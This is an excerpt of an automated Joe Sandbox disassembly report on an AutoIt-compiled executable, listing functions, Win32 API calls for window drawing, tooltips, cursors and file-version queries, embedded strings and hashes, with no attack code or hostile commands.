__wcsnicmp.LIBCMT ref: 00096949
__wcsnicmp.LIBCMT ref: 00096961
__wcsnicmp.LIBCMT ref: 00096979
__wcsnicmp.LIBCMT ref: 00096991
__wcsnicmp.LIBCMT ref: 000969A9
__wcsnicmp.LIBCMT ref: 000969C1
__wcsnicmp.LIBCMT ref: 000969D5
__wcsnicmp.LIBCMT ref: 00096A16
__wcsnicmp.LIBCMT ref: 00096A2A
__wcsnicmp.LIBCMT ref: 00096A3E
__wcsnicmp.LIBCMT ref: 00096A52

Strings

#ce, xrefs: 00096A4C
#include, xrefs: 000969A3
#OnAutoItStartRegister, xrefs: 00096973
#cs, xrefs: 000969CF, 00096A24
#requireadmin, xrefs: 0009695B
#pragma compile, xrefs: 0009692B
#comments-end, xrefs: 00096A38
#notrayicon, xrefs: 00096943
#comments-start, xrefs: 000969BB, 00096A10
Cannot parse #include, xrefs: 000CE3F0
#include-once, xrefs: 0009698B
Unterminated group of comments, xrefs: 000CE403
Bad directive syntax error, xrefs: 000CE31A

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 61b861b40ccdd6b2304c1561a832d81707ed4dbc2508fa3b905b387bb5bd42dc
Instruction ID: e942d7fcaf83558a7d0985edd3c47123957fca5e119cbe6cc28a05d50988eac4
Opcode Fuzzy Hash: 61b861b40ccdd6b2304c1561a832d81707ed4dbc2508fa3b905b387bb5bd42dc
Instruction Fuzzy Hash: F38112B1644245BACF21AB60EC42FFF37A8EF05700F144029F905AB193EF72DA41E6A1

Function 00119A1C Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00119AD2
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00119B8B
SendMessageW.USER32(?,00001102,00000002,?), ref: 00119BA7

Strings

0, xrefs: 00119BE4

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: e9fe2933b8b646a8ce9fd7b64afd4c380d69438dd3ae8d1e1bb30cc5a2c33419
Instruction ID: f628097c56f0e7400cd8793b9df3d34ba42ae0ae3bb76565263de19608d5cc95
Opcode Fuzzy Hash: e9fe2933b8b646a8ce9fd7b64afd4c380d69438dd3ae8d1e1bb30cc5a2c33419
Instruction Fuzzy Hash: 1B02BE70109301AFDB1DCF24C968BEABBE5FF49314F04852DF9A9962A1C734D985CB92

Function 0011A8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0011A903
SetTextColor.GDI32(?,?), ref: 0011A907
GetSysColorBrush.USER32(0000000F), ref: 0011A91D
GetSysColor.USER32(0000000F), ref: 0011A928
CreateSolidBrush.GDI32(?), ref: 0011A92D
GetSysColor.USER32(00000011), ref: 0011A945
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0011A953
SelectObject.GDI32(?,00000000), ref: 0011A964
SetBkColor.GDI32(?,00000000), ref: 0011A96D
SelectObject.GDI32(?,?), ref: 0011A97A
InflateRect.USER32(?,000000FF,000000FF), ref: 0011A999
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0011A9B0
GetWindowLongW.USER32(00000000,000000F0), ref: 0011A9C5
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0011A9ED
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0011AA14
InflateRect.USER32(?,000000FD,000000FD), ref: 0011AA32
DrawFocusRect.USER32(?,?), ref: 0011AA3D
GetSysColor.USER32(00000011), ref: 0011AA4B
SetTextColor.GDI32(?,00000000), ref: 0011AA53
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0011AA67
SelectObject.GDI32(?,0011A5FA), ref: 0011AA7E
DeleteObject.GDI32(?), ref: 0011AA89
SelectObject.GDI32(?,?), ref: 0011AA8F
DeleteObject.GDI32(?), ref: 0011AA94
SetTextColor.GDI32(?,?), ref: 0011AA9A
SetBkColor.GDI32(?,?), ref: 0011AAA4

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: f7029a05ac5e42ebce9d05d35dfdf60c1db0d075c8cef7820d91065587228289
Instruction ID: 4fce2b9fe271aa9dba12a7e5868fcfaaa8dbb6493ac457f928ef33940542a518
Opcode Fuzzy Hash: f7029a05ac5e42ebce9d05d35dfdf60c1db0d075c8cef7820d91065587228289
Instruction Fuzzy Hash: 45513D71901208FFDB159FA4DD48EEE7B7AEF08320F118229F915AB2A1D7719981DF90

Function 001189D5 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00118AC1
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00118AD2
CharNextW.USER32(0000014E), ref: 00118B01
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00118B42
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00118B58
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00118B69
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00118B86
SetWindowTextW.USER32(?,0000014E), ref: 00118BD8
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00118BEE
SendMessageW.USER32(?,00001002,00000000,?), ref: 00118C1F
_memset.LIBCMT ref: 00118C44
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00118C8D
_memset.LIBCMT ref: 00118CEC
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00118D16
SendMessageW.USER32(?,00001074,?,00000001), ref: 00118D6E
SendMessageW.USER32(?,0000133D,?,?), ref: 00118E1B
InvalidateRect.USER32(?,00000000,00000001), ref: 00118E3D
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00118E87
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00118EB4
DrawMenuBar.USER32(?), ref: 00118EC3
SetWindowTextW.USER32(?,0000014E), ref: 00118EEB

Strings

0, xrefs: 00118E55

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: fda4d0824dc1a5b4d9058ab67ce7ad3db79a4b264064ea9d1c79d7916ddff755
Instruction ID: 002a3b73b9e1e59101792bb313c3710b091faf8a43dc20f7bb45fe068e1e0c75
Opcode Fuzzy Hash: fda4d0824dc1a5b4d9058ab67ce7ad3db79a4b264064ea9d1c79d7916ddff755
Instruction Fuzzy Hash: 25E15E70904209ABDB28DF54DC84EEE7B79EF09710F10C16AF915AB291DB709AC2DF60

Function 0011488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 001149CA
GetDesktopWindow.USER32 ref: 001149DF
GetWindowRect.USER32(00000000), ref: 001149E6
GetWindowLongW.USER32(?,000000F0), ref: 00114A48
DestroyWindow.USER32(?), ref: 00114A74
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00114A9D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00114ABB
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00114AE1
SendMessageW.USER32(?,00000421,?,?), ref: 00114AF6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00114B09
IsWindowVisible.USER32(?), ref: 00114B29
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00114B44
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00114B58
GetWindowRect.USER32(?,?), ref: 00114B70
MonitorFromPoint.USER32(?,?,00000002), ref: 00114B96
GetMonitorInfoW.USER32(00000000,?), ref: 00114BB0
CopyRect.USER32(?,?), ref: 00114BC7
SendMessageW.USER32(?,00000412,00000000), ref: 00114C32

Strings

tooltips_class32, xrefs: 00114A96
0, xrefs: 00114975
(, xrefs: 00114BA3

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 5648d2e1016918af2f3afa8c8f7f528041b36dd2ff5cc6bc46aa1ad89de0c183
Instruction ID: 0bb91dd48b5451009ec8d901ce99c6b24544c15fd0264fb3648fb4e8a44ce07d
Opcode Fuzzy Hash: 5648d2e1016918af2f3afa8c8f7f528041b36dd2ff5cc6bc46aa1ad89de0c183
Instruction Fuzzy Hash: E6B1AE70608340AFDB08DF68D945BAABBE4FF88714F00892CF5999B2A1D771EC45CB95

Function 000F449A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 000F44AC
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 000F44D2
_wcscpy.LIBCMT ref: 000F4500
_wcscmp.LIBCMT ref: 000F450B
_wcscat.LIBCMT ref: 000F4521
_wcsstr.LIBCMT ref: 000F452C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 000F4548
_wcscat.LIBCMT ref: 000F4591
_wcscat.LIBCMT ref: 000F4598
_wcsncpy.LIBCMT ref: 000F45C3

Strings

\VarFileInfo\Translation, xrefs: 000F4540
04090000, xrefs: 000F457E
DefaultLangCodepage, xrefs: 000F45AB
%u.%u.%u.%u, xrefs: 000F4626
StringFileInfo\, xrefs: 000F451B

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: ce443804377487dd3b32018600620c20461afa4b526b660213a03b2d9abd130d
Instruction ID: 40c6d7670d2d4998d96e20497db7a1beab59c2d657d7d310a5728f0eb9bdc12a
Opcode Fuzzy Hash: ce443804377487dd3b32018600620c20461afa4b526b660213a03b2d9abd130d
Instruction Fuzzy Hash: 8041F432A402047BEB14BB749C47EFF77ACDF42710F14416AFA05E6193EB34AA0196A5

Function 000927D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 000928BC
GetSystemMetrics.USER32(00000007), ref: 000928C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 000928EF
GetSystemMetrics.USER32(00000008), ref: 000928F7
GetSystemMetrics.USER32(00000004), ref: 0009291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00092939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00092949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0009297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00092990
GetClientRect.USER32(00000000,000000FF), ref: 000929AE
GetStockObject.GDI32(00000011), ref: 000929CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 000929D5

Part of subcall function 00092344: GetCursorPos.USER32(?), ref: 00092357
Part of subcall function 00092344: ScreenToClient.USER32(001557B0,?), ref: 00092374
Part of subcall function 00092344: GetAsyncKeyState.USER32(00000001), ref: 00092399
Part of subcall function 00092344: GetAsyncKeyState.USER32(00000002), ref: 000923A7

SetTimer.USER32(00000000,00000000,00000028,00091256), ref: 000929FC

Strings

AutoIt v3 GUI, xrefs: 00092974

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 003a82efd6fd9c0f16185e6347af8c082668051cd9a741626142c112722e1008
Instruction ID: d62a4917149acc44ed59db865b9c69ecc35406591c023283612db0fd1cf887db
Opcode Fuzzy Hash: 003a82efd6fd9c0f16185e6347af8c082668051cd9a741626142c112722e1008
Instruction Fuzzy Hash: 52B13D7160020AEFDF14DFA8DD55FEE7BB5FB08311F108129FA15AA2A0DB74A841DB51

Function 000EA439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 000EA47A
__swprintf.LIBCMT ref: 000EA51B
_wcscmp.LIBCMT ref: 000EA52E
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 000EA583
_wcscmp.LIBCMT ref: 000EA5BF
GetClassNameW.USER32(?,?,00000400), ref: 000EA5F6
GetDlgCtrlID.USER32(?), ref: 000EA648
GetWindowRect.USER32(?,?), ref: 000EA67E
GetParent.USER32(?), ref: 000EA69C
ScreenToClient.USER32(00000000), ref: 000EA6A3
GetClassNameW.USER32(?,?,00000100), ref: 000EA71D
_wcscmp.LIBCMT ref: 000EA731
GetWindowTextW.USER32(?,?,00000400), ref: 000EA757
_wcscmp.LIBCMT ref: 000EA76B

Part of subcall function 000B362C: _iswctype.LIBCMT ref: 000B3634

Strings

%s%u, xrefs: 000EA515

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 454a23221ca665e074ae31ed20973d2cbda87781d5a0d2a4ce46f91d724b9836
Instruction ID: f2ad79fdc3becf221f4d899a3bb32abf20426fa8b1290b6d49a1b2d58ff346f4
Opcode Fuzzy Hash: 454a23221ca665e074ae31ed20973d2cbda87781d5a0d2a4ce46f91d724b9836
Instruction Fuzzy Hash: 1BA1B071304646AFD718DF61C884BEAB7E8FF4A314F108629F999E2191DB30F945CB92

Function 000EAED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 000EAF18
_wcscmp.LIBCMT ref: 000EAF29
GetWindowTextW.USER32(00000001,?,00000400), ref: 000EAF51
CharUpperBuffW.USER32(?,00000000), ref: 000EAF6E
_wcscmp.LIBCMT ref: 000EAF8C
_wcsstr.LIBCMT ref: 000EAF9D
GetClassNameW.USER32(00000018,?,00000400), ref: 000EAFD5
_wcscmp.LIBCMT ref: 000EAFE5
GetWindowTextW.USER32(00000002,?,00000400), ref: 000EB00C
GetClassNameW.USER32(00000018,?,00000400), ref: 000EB055
_wcscmp.LIBCMT ref: 000EB065
GetClassNameW.USER32(00000010,?,00000400), ref: 000EB08D
GetWindowRect.USER32(00000004,?), ref: 000EB0F6

Strings

ThumbnailClass, xrefs: 000EAFE0, 000EB060
@, xrefs: 000EAEF9

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 0be53b6ac2c94b05de5599c7ca3e78517e7fa8c640a9a924f277ae87c609875c
Instruction ID: de9787aad68b576ea52538a336d42bf105f43a1ba42a2b8b715beb41f9d7bf05
Opcode Fuzzy Hash: 0be53b6ac2c94b05de5599c7ca3e78517e7fa8c640a9a924f277ae87c609875c
Instruction Fuzzy Hash: 8E81B1711083459FDB15DF12C881FABB7E8EF84314F04846AFD85AA096DB30ED85CBA1

Function 000EABD4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 000EAC33

Strings

[CLASS:, xrefs: 000EAC83
LAST, xrefs: 000EABF8
[ACTIVE, xrefs: 000EAC20
[HANDLE:, xrefs: 000EAC3F
[ALL, xrefs: 000EACD9
REGEXP=, xrefs: 000EAC48
CLASSNAME=, xrefs: 000EAC70
ACTIVE, xrefs: 000EAC0E
[LAST, xrefs: 000EACE0
[REGEXPTITLE:, xrefs: 000EAC5B
HANDLE=, xrefs: 000EAC2C
ALL, xrefs: 000EACC7

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: b6b0684e40997a0cf5fef2c0265dd58d46b5fc98c84ff1bfeaca0e1b40120bdf
Instruction ID: bff1ab22cd7f30e655098bdef2517b69daf09258fc8557d0358b42b0d243d4fd
Opcode Fuzzy Hash: b6b0684e40997a0cf5fef2c0265dd58d46b5fc98c84ff1bfeaca0e1b40120bdf
Instruction Fuzzy Hash: 5031BE31A48249ABDB14FA61DE03EFE77A4AF25710F740429F446720E3EF616F04D692

Function 00104FFD Relevance: 25.6, APIs: 17, Instructions: 110COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 00105013
LoadCursorW.USER32(00000000,00007F00), ref: 0010501E
LoadCursorW.USER32(00000000,00007F03), ref: 00105029
LoadCursorW.USER32(00000000,00007F8B), ref: 00105034
LoadCursorW.USER32(00000000,00007F01), ref: 0010503F
LoadCursorW.USER32(00000000,00007F81), ref: 0010504A
LoadCursorW.USER32(00000000,00007F88), ref: 00105055
LoadCursorW.USER32(00000000,00007F80), ref: 00105060
LoadCursorW.USER32(00000000,00007F86), ref: 0010506B
LoadCursorW.USER32(00000000,00007F83), ref: 00105076
LoadCursorW.USER32(00000000,00007F85), ref: 00105081
LoadCursorW.USER32(00000000,00007F82), ref: 0010508C
LoadCursorW.USER32(00000000,00007F84), ref: 00105097
LoadCursorW.USER32(00000000,00007F04), ref: 001050A2
LoadCursorW.USER32(00000000,00007F02), ref: 001050AD
LoadCursorW.USER32(00000000,00007F89), ref: 001050B8
GetCursorInfo.USER32(?), ref: 001050C8

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 57d5c27f23ed7e220914b3c0703c8d7cdeb78076fce25e9754b765a2d99cd228
Instruction ID: 4fc30415300457bc85f9debaeb05f3e506290cbe0e2fe98c7efda873f4786dd2
Opcode Fuzzy Hash: 57d5c27f23ed7e220914b3c0703c8d7cdeb78076fce25e9754b765a2d99cd228
Instruction Fuzzy Hash: 843113B1D483196ADF109FB68C899AFBFE9FF04750F50452AE54CE7280DB78A5008FA1

Function 0011A1B9 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0011A259
DestroyWindow.USER32(?,?), ref: 0011A2D3

Part of subcall function 00097BCC: _memmove.LIBCMT ref: 00097C06

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0011A34D
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0011A36F
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0011A382
DestroyWindow.USER32(00000000), ref: 0011A3A4
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00090000,00000000), ref: 0011A3DB
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0011A3F4
GetDesktopWindow.USER32 ref: 0011A40D
GetWindowRect.USER32(00000000), ref: 0011A414
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0011A42C
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0011A444

Part of subcall function 000925DB: GetWindowLongW.USER32(?,000000EB), ref: 000925EC

Strings

tooltips_class32, xrefs: 0011A346, 0011A3D4
0, xrefs: 0011A26F

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: f380a6e55f76a3debd941eb2207e5e68c60049753019fa227709f678b48eb738
Instruction ID: 017f74adf16c7bc7323a0a31773d41fcb6935667de11a15f2bcb5e4c7f2adea2
Opcode Fuzzy Hash: f380a6e55f76a3debd941eb2207e5e68c60049753019fa227709f678b48eb738
Instruction Fuzzy Hash: EC718C71140305AFD729CF28CC49FAA7BE6FB88700F48452DF9858B6A1D770E986CB52

Function 0011C5FE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00092612: GetWindowLongW.USER32(?,000000EB), ref: 00092623

DragQueryPoint.SHELL32(?,?), ref: 0011C627

Part of subcall function 0011AB37: ClientToScreen.USER32(?,?), ref: 0011AB60
Part of subcall function 0011AB37: GetWindowRect.USER32(?,?), ref: 0011ABD6
Part of subcall function 0011AB37: PtInRect.USER32(?,?,0011C014), ref: 0011ABE6

